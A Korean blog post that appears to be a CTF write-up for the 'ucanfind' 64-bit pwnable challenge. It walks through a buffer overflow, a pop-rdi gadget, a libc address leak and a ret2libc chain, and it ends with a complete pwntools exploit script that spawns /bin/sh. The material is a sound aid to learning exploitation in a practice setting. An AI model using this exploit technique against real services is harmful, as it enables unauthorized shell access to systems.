-
19회 해킹캠프 CTF ucanfindWeekHack/Pwnable 2019. 5. 9. 01:08반응형SMALL
안녕하세요. Luke입니다. 해킹캠프 CTF의 ucanfind 문제를 가지고 왔습니다. 사실 이 문제는 해킹캠프에 참여했을 당시 비슷한 문제를 전에 32비트로 익스를 성공해서 대충 어떻게 익스를 하면 될지에 대해 감이 왔는데 그 때 당시에는 제가 64비트 익스를 못해서 ㅠㅠ 아쉽게 제가 못풀고 팀원에게 구조를 설명해서 다른 팀원이 풀었었던 문제 입니다. 자꾸 기억에 남아서 결국 다시 풀게 되었네요 ㅎㅎ
아참! 이게 출제자의 의도는 아니었답니다. 안에 쉘코드가 숨어있대요! 저도 문제를 푼 뒤 다른 라업보면서 알게되었네요!(참고: http://blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221468503138 )
어쨋든! 제가 푼 방법은 ROP였으니 그대로 한번 풀어보겠습니다.
먼저 checksec을 돌려봅니다.
NX가 걸려있고 Relro는 파티셜이니 got overwrite가 가능하네요. 근데 연습을 위해 Relro는 풀렐로라 생각하고 풀게요
그럼 이제 NX가 걸려있는걸 알았으니 ROP일거라 짐작을 해주고.. IDA로 열어봤습니다.
main함수
puts_name(임의로 지은 이름)
보니 read가 0x1024만큼 받는데, char의 버퍼 수는 0x400 딱봐도 BOF 취약점이 보입니다.
read를 이용해 ROP하면 되겠습니다.
그럼 이제 필요한 것을 준비해봅시다.
먼저 puts함수에 사용될 pop rdi; ret의 가젯을 구해봅시다. (gdb-peda에는 기본적으로 NASM을 설치하면 ropsearch 기능을 이용해 가젯을 구할 수 있습니다.)
64비트의 인자전달 방법은 32비트와 조금 다르니 아래의 링크를 참고해주세요! ( https://harin-luna.tistory.com/entry/64bit-%EC%B2%B4%EC%A0%9C%EC%97%90%EC%84%9C%EB%8A%94-%EC%96%B4%EB%96%BB%EA%B2%8C-%EC%9D%B8%EC%9E%90%EC%A0%84%EB%8B%AC%EC%9D%84-%ED%95%A0%EA%B9%8C )
어쨋든 구하면
pr의 가젯은 0x004007b3 이네요.
우린 Full relro가 걸려있다 생각하고 풀거니까 got overwrite안되니 bss영역은 안구해도 되겠네요.
그럼 이제 익스를 시작해봅시다. 대충 생각하고 있는 구조는
1. puts를 이용해 read함수 주소 Leak
2. 다시 main함수 실행
3. Leak된 main함수에 read_offset뺀 base에 system_offset 더하여 system함수 주소 구하기
4. system함수에 /bin/sh 넣어서 익스!
그럼 main함수 주소도 필요하겠쥬?
main은 ida로 구했습니다. 0x4006FE
그럼 익스를 시작해볼까요!
from pwn import * #context.log_level = 'debug' bina='./ucanfind' conn=process(bina) e=ELF(bina) libc=e.libc pr=0x004007b3 main=0x4006FE read_plt=e.plt['read'] read_got=e.got['read'] puts_plt=e.plt['puts'] puts_got=e.got['puts'] pay="A"*1032 pay+=p64(pr) pay+=p64(read_got) pay+=p64(puts_plt) pay+=p64(main) conn.sendlineafter(': ', pay) leak=u64(conn.recv(6)+"\x00\x00") log.success("leak: "+hex(leak)) base=leak-libc.symbols['read'] system=base+libc.symbols['system'] binsh=base+next(libc.search("/bin/sh")) conn.recvuntil('Your name :') pay="A"*1032 pay+=p64(pr) pay+=p64(binsh) pay+=p64(system) pay+="A"*8 conn.sendline(pay) conn.interactive()
성공적으로 익스가 된것을 확인할 수 있었습니다!
끄읕! 다음에 뵈요~
반응형LIST